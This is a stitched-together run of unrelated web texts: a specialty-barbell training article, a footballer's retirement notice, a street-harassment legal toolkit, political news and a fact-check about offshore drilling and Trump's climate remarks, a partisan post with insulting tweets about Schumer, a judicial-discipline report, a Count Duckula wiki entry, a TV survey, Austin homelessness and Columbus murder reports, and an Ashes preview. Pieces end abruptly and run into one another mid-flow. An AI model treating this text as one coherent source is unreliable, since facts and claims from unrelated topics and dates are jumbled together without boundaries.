Specialty bars can be used to build strength in lagging areas such as the upper back, hips, triceps, and more. For example, the SS Yoke Bar builds massive strength in the upper back when used for squats and good mornings. It can be a huge triceps builder too. Add in some SS Yoke Bar JM Presses. They are easy on the elbows and hard on the triceps muscles. The cambered bar builds the ass and hips like a mo-fo. It can also take a good deal of stress off the shoulders for many.
These are just a few examples.
Improve Positions in Specific Lifts
I’m big on perfect technique with my athletes. I always tell them that form and technique are more important than the weight on the bar. If you are using a weight that is too heavy and getting in shitty positions, all you are doing is reinforcing strength imbalances and creating a bigger weakness in the already weak area.
Let’s use a geared lifter as an example. Box squats are used to build strength, but can also be used to improve position. If we have a lifter that dumps out of the hole, there are many choices we can use to fix this. But by using a SS Yoke Bar and a box squat, we can duplicate the bottom position of the squat for them and use the bar to increase the forward dump. The weakness can be fixed by stressing a good position on the box and driving into the SS Yoke Bar with the upper back as you descend and rise off the box. Again, this is just one example of how a specialty bar can be used.
Now, let’s look at the bars themselves.
The Duffalo Bar
Chris Duffin is a fabrication wizard. He makes some of the highest quality products I have ever seen and this bar is one of them.
The Duffalo Bar is used primarily for squats and good mornings but can be used for bench presses and other exercises. The bar is arched, meaning the sleeves where the weights go are lower than the center of the bar, placing the weight closer to your center of mass. This theoretically allows you to lift more, as the weight is closer to your center, giving you a greater mechanical advantage. Another benefit is that the lowered ends are easier on your shoulder joints. By having a “drop” at the end, your shoulders are put in a position that makes it easier to hold the bar.
The bar is also longer than a regular bar, which makes it easier for bigger lifters with tight shoulders to get under it and lift pain-free. If you fall into this category, don’t just use the bar to train pain-free.
Do something to correct your issues so that when you return to the straight bar, you can do that pain-free too. It could be as simple as using a few Acumobility balls between sets on your pecs and upper back, and the Eclipse Roller on your teres. A minute of work on your rest periods between sets with these tools will pay off quickly. Pairing this with a bar that allows you to lift without pain may get you back to lifting 100% fast.
The Cambered Bar
The Cambered Bar has a large drop. I have an old elitefts rackable one and the drop is 12 inches. There are many different types and the drop may be slightly different, but it is huge. The drop is the distance between the posts that extend downwards from the part of the bar that rests on your back to the sleeves where the weights go.
The large drop places the weight more on your hips and posterior chain (ass, hamstrings, and lower back), and will exploit any weakness you have there when squatting or deadlifting. The large drop also causes you to really tighten up your gut and brace the shit out of it, because if you are loose in the belly the weights will swing back and forth. And another thing: the cambered bar allows multiple hand and grip positions, making it extremely versatile.
The SS Yoke Bar
Of all the three, this is my favorite. The SS Yoke Bar has a camber and a drop. It also has thick pad at the top where you place it on your back. The combination of these three things makes this bar a real ass-kicker.
The SS Yoke Bar does not require you to grab the bar per se; it will just rest on your traps as long as there is at least one plate on it. However, it is best used by holding the end of the yoke. Holding the end of the yoke makes this the easiest on the shoulders of all three bars, allowing those with limited mobility or injuries to the shoulder to squat safely.
The SS Yoke Bar also sits high on your back, making it a killer on the upper back. Therefore it will build your squat and deadlift by strengthening this area. Fast. It is also very easy on the knees, hips, and lower back, while annihilating your quads when used to perform Hatfield squats. The Hatfield squat minimizes damaging shear forces on these areas, making it a perfect choice for working around injuries and for rehab.
For full details on the bar, get my book.
So, what’s that specialty bar for?
Here is a quick list of the what’s and why’s. It is far from complete, but hits the basics and will help you make a decision on when and why to use each one.
All bars are primarily used for squats and good mornings.
Duffalo Bar
Easy on the shoulders
Can be used for bench presses; the angle of the arch provides a new stimulus and can build your bench
Great for all types of squats and good mornings
Perfect for Frankenstein Squats; this is a front squat variation where you hold your arms out like Frankenstein while he walks
The lower center of gravity forces you to brace harder, thereby making your torso stronger
The lower center of gravity can allow you to lift more, which is good for overload
Cambered Bar
Multiple hand positions make it a good choice for some with shoulder problems
Awesome for Zercher squats and deads, which build your backside from the traps to the hamstrings
The drop makes the weights swing if you are loose; getting tight makes everything better
Squatting with the cambered bar smashes your hips, glutes, and hamstrings in a good way to make them stronger
SS Yoke Bar
I love this bar so much I wrote a book on it, with full explanations on its origins and use. It is the most versatile bar around besides the straight bar.
Builds your upper back due to the slight camber and drop
Increases the dump effect in squats and forces you to drive into it to correct the movement
Puts the weight higher on your body, further away for your center of gravity, making you work harder
Perfect for Hatfield squats, which target the quads like nothing else and take a large amount of shear force off your knees and lower back
Outstanding for rehab; I used it exclusively to come back from three knee surgeries
Easiest of all the bars listed on the shoulders
Can be used for bench press variations
There you have it, a basic list of "what's that bar for." There are tons of specialty bars on the market and they all have some value in your training. I feel that these are the three best. The most important part of all?
Ebbsfleet United defender Yado Mambo is to retire from football due to a knee injury. The 26-year-old centre back was told the bad news by a specialist after picking up an injury at the Wrexham game which, added to his earlier knee problems, has sadly spelled the end of his playing career.
Further stress from playing would aggravate the arthritis in his knee and lead to problems in later life so the advice from medical professionals was to take early retirement.
Understandably, Yado is upset to be hanging up his boots in this manner but the club has asked him to remain at the Kuflink Stadium in a behind-the-scenes role on our matchday staff. So fans will still be seeing the fantastic personality that is our No.18 around the hospitality lounges and the stadium; Yado will begin in this role from Boxing Day.
In his three spells with the club, which began with a loan period from Charlton Athletic in 2011/12 (pictured below), Yado made 46 appearances and scored three goals (against Grimsby Town, Chester and Whitehawk). He played in the Football League for Shrewsbury Town and AFC Wimbledon after leaving Charlton and also turned out for Staines Town, Chelmsford City, Margate and Bishop’s Stortford among others.
Only last month, he became an internet sensation following his appearance on TV against Leyton Orient and the subsequent Twitter explosion about the No.5 shirt that eventually raised more than £3,500 for Prostate Cancer UK.
The club will be publishing a fuller tribute about Yado’s time at the Fleet in our matchday programme v Dagenham & Redbridge on December 30th.
Yado took time to send a message to the Fleet fans, telling FleetOnline: “I’m really, really gutted but there’s nothing I can do. The specialist told me last week when I had my scan and X-ray. It’s one of those things, it’s life and you’ve just got to carry on. I want to say thanks to the Fleet fans for making me feel so at home, not only this season but all three spells I’ve had here. I’m just gutted I couldn’t play many more games for them. But it’s not the last time you’ll see my face, I’ll be around the stadium on matchdays, I’ll still be around the club. Ebbsfleet has a big place in my heart. I came through Charlton from a young player but Ebbsfleet is probably my second home.”
Daryl McMahon told FleetOnline, “We’re all obviously gutted for Yads. When I brought him in last year, he slotted back into the club so well and was a terrific presence in the changing room. He got his chance this season and performed magnificently when called upon. He’s been a model pro in my time as manager and it’s such a shame that this injury has ended his career. The boys will rally round him, and I’m sure the fans will too, and he’s going to be part of the matchday staff at the club, so we hope that softens the impact a little bit for what is a massive blow to any player at the peak of their career.”
Fleet’s vice chairman Peter Varney said, “This is tremendously sad news for the club and of course even more so for Yado who has been in the game since coming through Charlton’s youth academy. In his several spells with the club here, he has been a fantastic professional and a fantastic person, with a positive, upbeat attitude that has made him immensely popular with staff, players and Ebbsfleet supporters.
“Early retirement is always a terrible blow for professional footballers but we wanted to keep Yado’s infectious personality and relationship with fans and players around the club and we will certainly not be seeing the last of him at The Kuflink Stadium.
We believe there is no “best” way to deal with street harassment, since every situation and every person differs. But we want to help YOU make an informed decision about how to respond by letting you know which street harassment behaviors are illegal in your state and how you can report it, if you choose to do so.
You can find all of this information and more in the toolkit Know Your Rights: Street Harassment and the Law. It’s available as a PDF or you can explore the different sections below.
Introductory Information
State-by-State Laws
Criminal vs. Civil Remedies
This toolkit covers the criminal elements of street harassment behaviors that violate state law and therefore constitute a crime. We haven’t covered every aspect of civil responses to street harassment. You can consult a lawyer in your state to explore when, where, and why you can file a lawsuit.
Disclaimer: This Information Does Not
Constitute Legal Advice
It’s important to know when reading or using our guide that the information presented here does not constitute legal advice. Stop Street Harassment is not a law firm and the information we provide does not replace the advice of an attorney. We cannot provide guidance on a specific case, and we cannot guarantee that law enforcement or justice officials will interpret the laws as we have interpreted them.
We have collected and analyzed each state’s laws to the best of our ability, but laws do change — sometimes quickly. The outcome of a specific case will be determined by the most current state law, precedent in your state, and the details of the specific event. For advice on an individual case, contact a lawyer you trust. If you find a law in our guide that is out of date or misrepresented, please contact us.
About the Author and Collaborators
Lead Author:
Talia Hagerty is a peace economics consultant working on a variety of projects that ensure the equitable economic participation of all. She holds a B.A. in Economics from Eckerd College and an M.S. in Global Affairs with a concentration in Peacebuilding from New York University. Talia blogs about peacebuilding, human rights, economic development, and witty responses to street harassment. Follow her on Twitter: @taliahagerty.
Collaborators:
Holly Kearl is the founder of Stop Street Harassment. She’s written two books about street harassment, given 125 talks, 200 media interviews, and written 45 published articles. She began her work on this issue in 2007 when she wrote her master’s thesis on the subject at George Washington University. She also is a consultant to the United Nations and works part-time with The OpEd Project.
Whitney Ripplinger is a graduate of Brigham Young University and the University of Virginia School of Law. She works as a judicial clerk in Virginia Beach and plans to practice law in Virginia.
Rickelle Mason is a senior at the University of North Carolina at Charlotte where she is majoring in Psychology and receiving a minor in Women’s and Gender Studies. She has worked for several years in the university’s Community Psychology Research Lab, which was recently the recipient of the “Outstanding Training in Community Psychology” International Award.
Special thanks to Elizabeth Bolton and Alan Kearl for reviewing and editing sections of the toolkit and Amy Mastrine for creating the cover art and website graphics.
Thank You, Donors
This toolkit was made possible by the generous contributors to Stop Street Harassment, a 501 (c)(3) organization based in Reston, Virginia.
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The Democrats have dismissed the “Phantom Session” as a gimmick. Nancy Pelosi, the speaker of the House, calls it “the war-dance of the handmaidens of the oil companies”. Even the White House has said there is no point recalling Congress, since the Democrats would continue to squelch the Republican initiative.
But the call for more drilling has captured the attention of the media and energised the Republicans, who have been searching for an issue to revive their foundering electoral prospects. Mr Pence, one blogger quipped, could not normally secure a prime-time interview on CNN “unless he hit Lindsay Lohan with a car”. Now drilling is dominating the airwaves, and the Democrats are on the defensive.
John McCain, the presumptive Republican presidential nominee and a supporter of offshore drilling, has ridiculed Barack Obama, his Democratic rival, for suggesting that Americans should try to conserve fuel by keeping their tyres fully inflated. Republican activists have taken to handing out pressure gauges labelled “Obama's energy plan” at rallies. In response, Mr Obama has softened his opposition to offshore drilling, while denouncing Mr McCain as a lapdog of the oil industry who will do little to bring down prices.
Voters are certainly up in arms about the cost of oil. They rate the health of the economy as the biggest problem facing the country and the rising price of energy as the biggest drag on the economy, according to a poll that was conducted last month by the Pew Research Centre, a think-tank. Some 68% of respondents said that petrol (gasoline) was hard to afford. Among voters' worries, the cost of driving easily eclipsed the war in Iraq, unemployment, health care or terrorism.
The Republicans argue that allowing oil firms more leeway to drill offshore will help to bring the price of petrol down. Twelve years after an infamous spill from a well off Santa Barbara in 1969, Congress barred the government from issuing new offshore leases anywhere but in the western Gulf of Mexico and Alaska. By the government's own reckoning, there are some 18 billion barrels of oil to be discovered in the restricted areas—enough to supply all America's needs for two-and-a-half years. Oilmen also have their eyes on the Arctic National Wildlife Refuge, which lies just beside prolific fields on Alaska's North Slope, but there is less enthusiasm among Republicans for opening it to drilling; Mr McCain, for one, opposes the idea.
Moreover, there have been no big spills from offshore wells and platforms since 1969 (oil tankers, such as the Exxon Valdez, are another matter). Until recently, states whose beaches attract lots of tourists have supported the drilling ban. Florida, for example, has traditionally resisted oil exploration in the eastern Gulf of Mexico, for fear of another devastating spill. But congressmen hoping to lift the ban have tried to get round the objections of particular states by allowing them the final say on drilling close to shore, and by giving them a share of the royalties. A recent poll by Quinnipiac University found that 60% of Floridians now favour an expansion of drilling.
Democrats have tried to depict themselves not as enemies of drilling, but as the scourge of big oil firms. They dismiss the offshore ban as a distraction, since it would take a decade or so to get any oil out of the seabed and into cars (although that could be seen as a reason to hurry). They also argue, rightly, that the volumes of oil involved would probably be too small, and too expensive to extract, to make much difference to the price.
But the alternatives the Democrats are attempting to push through Congress are an incoherent mish-mash. One, dubbed “use-it-or-lose-it”, would oblige oil firms to exploit their existing leases more quickly or see them revert to the government. The hitch is that federal leases already work along those lines, and few imagine that oil firms are deliberately ignoring vast pools of oil, given the current high price.
Another proposal involves revoking a tax break for oil firms, with the proceeds going to fund research into alternative energy. Mr Obama, in a similar vein, wants to impose a “windfall tax” on oil firms' profits and use the proceeds to give all taxpayers a $1,000 “energy rebate”. But any measure that reduces oil firms' margins in America is likely to have the effect of diverting at least some investment to other countries—and so exacerbate the shortage of fuel produced at home.
Other proposals target speculators and the OPEC cartel. Yet another idea, to release some oil from America's Strategic Petroleum Reserve, would doubtless help to bring prices down briefly. But it would not be sustainable: the government's entire stockpile would keep America going for no more than a few weeks, and is supposed to be used only in dire emergencies. Democrats in either the House or the Senate have approved all these measures in some form, but the two chambers have been unable to agree on any of them.
The Republicans' plans are little more coherent. Mr McCain wants to suspend the federal government's relatively paltry tax on petrol during the summer months, when Americans tend to drive more. That would encourage drivers to buy more, pushing up prices again while reducing Uncle Sam's take. And both candidates want to reduce emissions of greenhouse gases—a sensible goal, but one that is likely to make energy more expensive, not cheaper.
Just before Congress shut up shop, a bipartisan group of ten senators suggested a compromise that would allow drilling off Florida, Georgia, the Carolinas and Virginia, while also raising taxes on oil firms. But amid the charged pre-election atmosphere, it is hard to see it becoming law. The Republicans are determined to make hay out of the Democrats' perceived intransigence on drilling, while the Democrats are keen to paint the Republicans as the lackeys of greedy oil barons.
For the second time in a week on national TV, Democratic presidential candidate Bernie Sanders attacked Republican candidate Donald Trump by citing Trump’s views on climate change.
Trump "thinks that climate change is a hoax, invented by the Chinese," Sanders said Jan. 24 on NBC’s Meet the Press, echoing a similar statement he made in the Democratic presidential debate in Charleston, S.C. (Watch the clip.)
Did Trump really say that? He definitely tweeted that view once in 2012, though he has since distanced himself a bit from that theory.
The clearest example comes from a tweet sent by Trump on Nov. 6, 2012. "The concept of global warming was created by and for the Chinese in order to make U.S. manufacturing non-competitive."
So Sanders certainly has evidence to support his claim. But Trump has somewhat backed off after Sanders' comments, calling the Chinese link a "joke."
On Jan. 18, after Sanders had attacked Trump’s climate change views in the Democratic debate, Trump told Fox & Friends, "Well, I think the climate change is just a very, very expensive form of tax. A lot of people are making a lot of money. I know much about climate change. I'd be — received environmental awards. And I often joke that this is done for the benefit of China. Obviously, I joke. But this is done for the benefit of China, because China does not do anything to help climate change. They burn everything you could burn; they couldn't care less. They have very — you know, their standards are nothing. But they — in the meantime, they can undercut us on price. So it's very hard on our business."
So Trump has said his 2012 tweet was a joke. However, he has used the word "hoax" repeatedly in describing climate change, although he doesn’t always fault China. (For the record, in 2014 we rated the claim that climate change is a "hoax" Pants on Fire.)
Most recently, on Dec. 30, 2015, Trump told the crowd at a rally in Hilton Head, S.C., "Obama's talking about all of this with the global warming and … a lot of it's a hoax. It's a hoax. I mean, it's a money-making industry, OK? It's a hoax, a lot of it."
That’s three times using "hoax" in one sentence. Trump has also used the word on Twitter since that 2012 tweet.
On Jan. 25, 2014, Trump tweeted, "NBC News just called it the great freeze — coldest weather in years. Is our country still spending money on the GLOBAL WARMING HOAX?"
On Jan. 29, 2014, Trump tweeted: "Snowing in Texas and Louisiana, record setting freezing temperatures throughout the country and beyond. Global warming is an expensive hoax!"
That same day, he tweeted, "Give me clean, beautiful and healthy air - not the same old climate change (global warming) bullshit! I am tired of hearing this nonsense."
Trump also called climate change a "hoax" on Jan. 6, 2014, edition of Fox & Friends.
Trump said on Sept. 24, 2015, on CNN’s New Day, "I don’t believe in climate change."
And as we noted earlier, even when calling his earlier tweet a joke, Trump on Jan. 18, 2016, said that climate change "is done for the benefit of China, because China does not do anything to help climate change."
Our ruling
Sanders said that Trump "thinks that climate change is a hoax, invented by the Chinese."
Trump did tweet that view in 2012. Whether Trump still feels that way is less clear. Asked about it recently, the real estate developer called it a joke.
However, Trump has repeatedly called climate change a "hoax" in speeches, tweets and media appearances, and while he hasn’t necessarily repeated the charge that China "invented" climate change, he has said as recently as Jan. 18, 2016, that action on climate change "is done for the benefit of China."
This is an awesome response to Sen. Chuck Schumer crocodile tear stunt he pulled on Sunday during a press conference on President Donald Trump’s executive order.
Related Article: Schumer Uses Crocodile Tears To Shame Trump’s Executive Order
Schumer pulled the fake tears in front of the press conference trick to garner sympathy for President Trump’s executive order to protect the country. Schumer and his cronies see it as stopping refugees from entering the country. By the way, they really don’t want these immigrants vetted.
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Trump’s response to Schumer’s tears was awesome. Americans like this and if you say they don’t, that’s why you didn’t win the election.
"I'm going to ask him who was his acting coach," President Trump said of Sen. Schumer's tearful speech at NYC's travel ban protest pic.twitter.com/kgsRWXNNIG — CBS News (@CBSNews) January 30, 2017
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Here are some responses:
@CBSNews . Funny, I was wondering the same thing about Schumer. — J.Edgar (@jedgarpi) January 30, 2017
@cbsnews Schumer is a fake. Probably took acting lessons from amy. Please go live in yemen — ambersmith (@ambersm87020462) January 30, 2017
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@CBSNews America you have elected yourself a “wonderful” president. — myself69 (@Maui_DD) January 30, 2017
You also had those who dissented from Trump’s funny response:
@CBSNews He has an excuse for everything that goes against him! Said tears were fake. But he wants us 2 believe he’s doing what’s best 4 USA — Dr. Thomas Woods (@Woods1Dr) January 30, 2017
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@CBSNews this is beyond embarrassing to see a US President behave this way! This nightmare has to end soon!!!! — Dana Evans (@ChickBroncos) January 30, 2017
@CBSNews Chucky and his Socialist Democrat Party should be labeled a “Domestic Terrorist Organization,” dismantled and reorganized! — Rickey Holtsclaw (@RDH_Blue) January 30, 2017
@CBSNews Wtf? Now he is bullying someone with emotion? Let the impeachment begin — MsFeymous (@MsFeymous) January 30, 2017
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@CBSNews Fake news, fake tears, fake vote!!! You know what? you are a fake president! — Loulou (@concernedloulou) January 30, 2017
You can’t please everyone! What did you think of Trump’s response to Schumer’s tears?
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Judiciary
Judge is admonished for belittling potential jurors
A superior court judge in Los Angeles has been admonished for belittling four potential jurors in a gang-related murder trial in May 2014.
The California Commission on Judicial Performance publicly admonished Judge Edmund Clarke, Jr. in a Sept. 29 order (PDF), the Los Angeles Times reports. The commission went beyond the findings of a three-judge panel, which found misconduct only with regards to one juror.
The potential jurors had expressed concern about serving in the trial, which was expected to last more than four weeks.
One juror had written on her hardship form, “Having Severe Anxiety!!” next to a drawing of a distressed face. She added, “I work as a waitress and make minimum wages, plus I’m planning a wedding in two months and all of these things, especially this courthouse are aggravating my anxiety terribly. On the verge of a meltdown!”
Clarke agreed to excuse the potential juror, but he took exception when she added that the clerk who was checking in potential jurors was “really disrespectful” to everyone.
At that point, Clarke told the potential juror she could stay in the hallway and tell him more at the end of the day. “I got to go,” the potential juror complained.
“No, you’re staying. You’re staying,” Clarke replied. “You’re staying on. I’ve been a judge for seven years. No one’s ever complained about my clerk. But I’ll be happy to hear your complaint at the end of the day. So go to the hall and stay and come in, act like an adult and you can face her and tell me everything she did wrong.”
At the end of the day, the potential juror apologized to Clarke, who asked the woman how she would have felt if he came to the restaurant where she works as a waitress and criticized her loudly. “If you came here thinking that this was going to be Disneyland and you were getting an E Ticket and have good time, I’m afraid you have no sense of what is going on in this building,” Clarke said.
“Now, seven years ago the first clerk that was assigned to me, she’s still here. The only clerk I’ve ever had. One juror, in all that time, out of thousands, has ever complained about her. That’s you. You can leave now knowing that’s what you accomplished.”
The commission also said Clarke had been discourteous and intimidating in questioning a juror who appeared to change a form to indicate that she did not speak English. She said she had been in the United States for 25 years. “Don’t try and fool me now, ma’am, you’ll be here a lot longer,” Clarke said.
“Most people that have been in this country for 10 years have picked up enough English. [Twenty] or so, they’re moving right along. And 25 years is—so you better have a different reason why you want to be excused than that.” Clarke later testified that he excused the juror because she was weeping loudly; she told the judge that she was ashamed because she didn’t speak English.
Clarke also told a potential juror who wrote that she had only $25 in her checking account that “every one of these lawyers spent more than that on lunch today.” He excused the juror. After she left, Clarke told everyone in the courtroom how much the juror had in her account.
When a second potential juror disclosed he had only $33 in his checking account, Clarke stated the amount and said he was putting the other juror “in the shade with that big account.”
“When members of the public give up their time for jury service,” the commission said, “they do not expect to have their private financial information disclosed in open court or to be the brunt of jokes about their limited financial resources.”
The opinion also said that, in his appearance before the commission, Clarke “showed little appreciation of the impact of his conduct on the jurors who were the recipients of his discourteous and demeaning comments.”
The opinion noted testimony from other judges and lawyers, however, that Clarke is “intelligent, professional, fair, even-tempered, and hardworking.”
Clarke said in a statement to the Los Angeles Times that he plans to ask the California Supreme Court to review the commission’s decision. “The decision chills the spontaneous and human interaction that is part of jury selection,” Clarke said.
Background Information Voice David Jason First Appearance Danger Mouse Episode: The Four Tasks of Danger Mouse Television Shows Danger Mouse (Recurring Villain)
Count Duckula (Regular) Character Information Full Name Count Duckula XVII (In Count Duckula) Aliases The Count, Duckyboos, Master Duckula Alliance Bad/Neutral (In Danger Mouse)
Good (In Count Duckula) Personality Vain, Evil (In Danger Mouse)
Kind, A Vegetarian, Emotional, Showbiz crazy, Short-tempered (In Count Duckula) Appearance Lime green coloured skin, yellow bill. Wears black jacket with white shirt and red bow tie. Long dark cape with pointed collar. Home Castle Duckula in Transylvania Relatives The Duckula Family Friends/Allies Igor, Nanny Enemies Doctor Von Goosewing, The Crow Brothers, The Egg, Gaston and Pierre Abilities Transformation, Transportation Likes Broccoli Sandwiches, Adventure, Fame Dislikes His talent not appreciated, Danger Mouse's interfering (In Danger Mouse)
Being a Vampire, Blood, Igor's attempts to make him a vampire, Nanny's clumsiness, being hunted by Goosewing (In Count Duckula) Quote "I am not going to be a Vampire to make you and that lunatic Goosewing happy!
"Igor, order a new door."
Danger Mouse Edit
is a villain and character fromand the title character in spin off series
Count Duckula first appeared in a Danger Mouse episode called "The Four Tasks of Danger Mouse" where he was an evil anthropomorphised vampire duck who looked like he had no fangs, but they could sometimes be seen. He can fly without having to change into a bat. He wore a medallion with the letter "D" on it and spoke with a lisp like voice. He was a villain who wanted to be famous, but Danger Mouse was not too impressed and the two had a huge clash. Most of his evil schemes were set to make sure he was in the spotlight. He even teamed up with DM's arch enemy Baron Silas Greenback on one occasion, however thanks to Danger Mouse it always failed. He appeared in four episodes through out the run of the series.
Count Duckula Edit
In this series it was revealed that Duckula came from a long dynasty of vampire ducks and had been killed several times and brought back to life again. So the previous Count Duckula from Danger Mouse may have been killed before the spin off.
In the intro Igor (his butler) and Nanny (his housekeeper) were attempting to bring him back by pouring blood into his awakening casket. But Nanny gave Igor a bottle of Tomato Ketchup by mistake making this new Count Duckula a vegetable loving, blood hating and show business crazy vampire duck who definitely had no fangs.
He uses his spooky ancestral home called Castle Duckula to teleport to many different places around the world to seek fame and fortune, but it didn't always go according to plan.
Personality Edit
In Danger Mouse, Duckula was a villain who was proud to be a vampire duck, had a lisp in his voice and occassionally stuttered. He could transform most surprisingly into a cricket bat with wings and he uses his appearing and disappearing in a flash of smoke ability that can even change his clothes. His main goal was to be famous and have his own show where he could show his horribly bad performances such as acting and singing. He often used force and blackmail.
In Count Duckula, his lisp was gone, but he had the same goal to be famous and get rich, unlike his predessesor however he tries to get it the more honest way. He hated being a vampire and never wanted to become one even though he is constantly lectured by Igor about his ancestor's legacy (He even travelled through time to change his legacy in one episode) and hates his castle being so gloomy, dark and spooky. This leads to him wanting to explore the world.
He's cowardly and often screams with rage when things don't go according to plan. He is constantly annoyed with Nanny either when she goes through a wall, breaks the castle door or misunderstands everything he says.
Duckula has a good heart and always tries to help people but it mostly ends with them hating him. He can survive in sunlight even though his previous persona couldn't, however in one episode a stone version of himself crumbled to pieces when exposed to the light.
He also likes making jokes, but despairs when the people he tells them to doesn't understand them.
He has the abilities of any vampire duck such as no reflection in a mirror and can disappear into a thick raincloud. He can also be killed by a wooden stake or by garlic (although it is only mentioned three times in the series).
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This question requires an answer How would you rate the Concept of Mr. Robot's pilot? * 1 2 3 4 5 6 7 8 9 10 This question requires an answer How would you rate the Writing of Mr. Robot's pilot? * 1 2 3 4 5 6 7 8 9 10 This question requires an answer How would you rate the Production (Music, Lighting, Directing, and CGI, etc.) of Mr. Robot's pilot? * 1 2 3 4 5 6 7 8 9 10 How would you rate the Cast and Acting of Mr. Robot's pilot? 1 2 3 4 5 6 7 8 9 10 This question requires an answer Do you think you will continue to watch Mr. Robot? * Yes
No
I've already seen it
AUSTIN (KXAN) -- Tuesday marks the first day of dramatic changes the city of Austin is making to address what's become a public health and safety crisis in downtown Austin: the crowd of homeless people surrounding the Austin Resource Center for the Homeless, known as the ARCH.
For the next 30 days the city will try to reduce the crowd and drug dealing within it.
Now that the clock's ticking, KXAN wanted to know, what can we expect when it's over? There's still a number of unknowns, like how to pay for the efforts long-term.
Here's a quick look at the changes:
Two APD officers will be stationed outside the ARCH 24 hours a day for the next month
Porta-potties have been installed
There's additional lighting
New requirements to get free meals
When asked how sustainable the efforts are, ECHO Executive Director Ann Howard told KXAN, "We're gonna take it one day at a time. We're gonna make changes along the way to best serve the clients. We're advocating every day for additional resources."
Mayor Steve Adler followed up, saying, "We do need additional funding in order to sustain meeting this challenge. And there are several different places that that funding could come from."
Some potential options the mayor named include community support, government funding through the homeless resource organizations, additional funding in the city budget and an increased hotel tax as part of his proposed "downtown puzzle." He suggested a plan last month to tackle downtown's homeless problem that would take a tax increase on tourists, a convention center expansion and housing.
"I don't want to tie it just as a demonstration project. This is an end in and of itself," Adler said. "But at the same time, I do think that when the community sees the providers and the partners all coming together, I hope that that builds momentum."
Momentum for a more permanent solution that's still not entirely clear. For now, APD has a mix of on duty and overtime officers at the ARCH. As for the cost, Assistant Police Chief Justin Newsom said, "We'd have to wait and see once it's all -- you know -- comes out in the wash. We're making changes daily based on staffing issues."
APD says it's created a funding code so the department can track the overtime expenses related to this effort.
Sara Black, who is currently staying at the Salvation Army, expressed concerns about the changes to free meals offered. "The thing about homelessness in Austin that everybody is on board about is that there aren't enough slots in the shelters. So that means that you're going to leave hundreds of people without food every day -- and for the city to tell people not to serve or bring food to this area is just inhumane."
Caritas of Austin provides free meals to around 300 people a day. Under their current policy, Caritas doesn't turn anyone away, but that changed Tuesday when Caritas moved their food services to the ARCH. The plan is to only serve food to people who are staying at a shelter or are enrolled in case management at the ARCH. They expect this will reduce the number of people eating with them to 150.
"We are just trying different methods to see if we can encourage people to become engaged in services," Jo Kathryn Quinn, the executive director of Caritas of Austin told KXAN last week.
Sammy Nutall is currently homeless after moving to Austin from Houston six months ago. He isn't convinced this pilot program will make a big difference, but for different reasons.
"Main stuff that needed to be said, was not even said," he told KXAN. "They're trying to push all the problems off on K2, you know?"
Nutall said what was noticeably missing from the announcement for him was any mention of employment or a job fair.
"Now the issues of homelessness are not ones that we're going to be able to solve overnight. But the mayor pro tem and I and our colleagues on the council are committed to ending homelessness in this city," Adler said.
KXAN learned Mayor Pro Tem Kathie Tovo has put in $2.4 million worth of budget requests for the city council to consider:
Medical care for persons too ill or frail to recover on the streets, but not ill enough to be in hospital.
Cost: $15,000/bed/annually = $180,000
Outcome: 12 more respite beds where people who are experiencing homelessness can heal safely.
Cost: $260,000
Outcome: More people connected to housing, services, and community, with a special focus on the downtown homeless population.
Dedicated support for homelessness prevention, coordination, performance monitoring, and continuous monitoring of system efficiencies.
Outcome: Funding impact is maximized.
Cost: $1,900,000
Outcome: 100 more people housed annually.
COLUMBUS (WCMH/AP) -- A 17-year-old suspected gang member has been sentenced to 172.5 years in prison after being convicted of aggravated murder and other charges for his role in a quadruple homicide during a robbery at a South Linden home last year.
Jordyn Wade was sentenced Tuesday after being convicted Friday by a Franklin County jury in May in connection to the June 13, 2015 attempted murder of one victim, and the quadruple murders of Michael Ballour, age 41, Daniel Craig Sharp, age 26, Angela D. Harrison, age 35, and Tyajah N. Nelson, age 18, that occurred in the basement of Ballour's house located in the 1600 block of E. Hudson Street in South Linden.
Wade and his co-defendant Robert Lee Adams, age 27 (at the time of the murders) robbed the victims, ordered them to the basement, and Adams then shot the victims, murdering four of them and wounding a fifth individual. After the shooting Adams and Wade fled the scene. One of the five victims survived the shooting and stumbled from the residence where she sought help. Wade was picked up shortly thereafter.
Australia v England, second Ashes Test Venue: Adelaide Oval Date: 2-6 December Time: 03:30 GMT Coverage: Ball-by-ball Test Match Special commentary on BBC Radio 5 live sports extra, Radio 4 LW and the BBC Sport website. Live text commentary on the BBC Sport website and app.
England have concern over the fitness of all-rounder Moeen Ali before the second Ashes Test against Australia.
Moeen suffered a cut finger in the 10-wicket first Test defeat in Brisbane, but bowled in the nets on Friday.
If he is not fit to bowl on Saturday he will still play as a batsman, leaving England to choose between Jake Ball and Craig Overton for the final pace spot.
The day-night match at the Adelaide Oval, played with a pink ball, begins at 03:30 GMT in Adelaide.
On the same evening, England meet Australia in the rugby league World Cup final in Brisbane.
If Moeen is unable to bowl, England's only slow bowling option will be captain Joe Root's part-time off-breaks.
There is also the possibility that Worcestershire's Moeen may not be able to bowl early in the game, but would be fit later on.
The tourists have named a 12-man squad, adding Overton to the 11 who played in Brisbane.
Australia will be unchanged from the side that won the first Test.
Can England bounce back with the pink ball?
England, the Ashes holders, arrive at the Adelaide Oval having competed strongly in Brisbane, only to slide towards defeat on the fourth afternoon.
Only twice before have they won the Ashes in Australia after going 1-0 down.
The day-nighter, the first in men's Ashes cricket, provides Root's men with an excellent opportunity to get back into the series.
The weather has changed from stifling heat to cool, damp and overcast. That, coupled with the pink ball and evening conditions, could give England's seam and swing bowlers greater assistance.
"It's pretty much like being at home, so hopefully that can play into our hands," Root told BBC Sport.
"With a bit of moisture around, that might be something that excites our bowlers. It's important we don't get too carried away about that, we just have to make sure our skill levels are right up there.
"We have to perform like we did in the first three days in Brisbane. If we do that, we'll give ourselves the best chance of winning."
A bit of Ashes history
Day-night Test cricket was first played in 2015 in the hope of boosting attendances and television audiences.
Australia held the inaugural match against New Zealand in Adelaide and have since met South Africa at the same venue and Pakistan in Brisbane, winning all three matches.
England's only day-night Test was against West Indies at Edgbaston in August, where they won by an innings and 209 runs.
Now, after the Test in the women's Ashes was played under lights in Sydney in November, the pink ball - changed from traditional red in order to be seen at night - comes to the men's series.
"The issue is visibility," said BBC cricket correspondent Jonathan Agnew. "Spectators found it difficult in the twilight period to see the ball in Birmingham and the same has happened here.
"It also seems to do more for the bowlers. In helpful conditions, it does move around a bit.
"It sort of feels the same in your hand, but I think I'd be able to tell the difference if I closed my eyes and held a red ball in one hand and a pink in the other. The red ball feels warmer, the seam more like what I am used to."
Smith tries to clear the air
Media playback is not supported on this device What really happened between Bancroft & Bairstow?
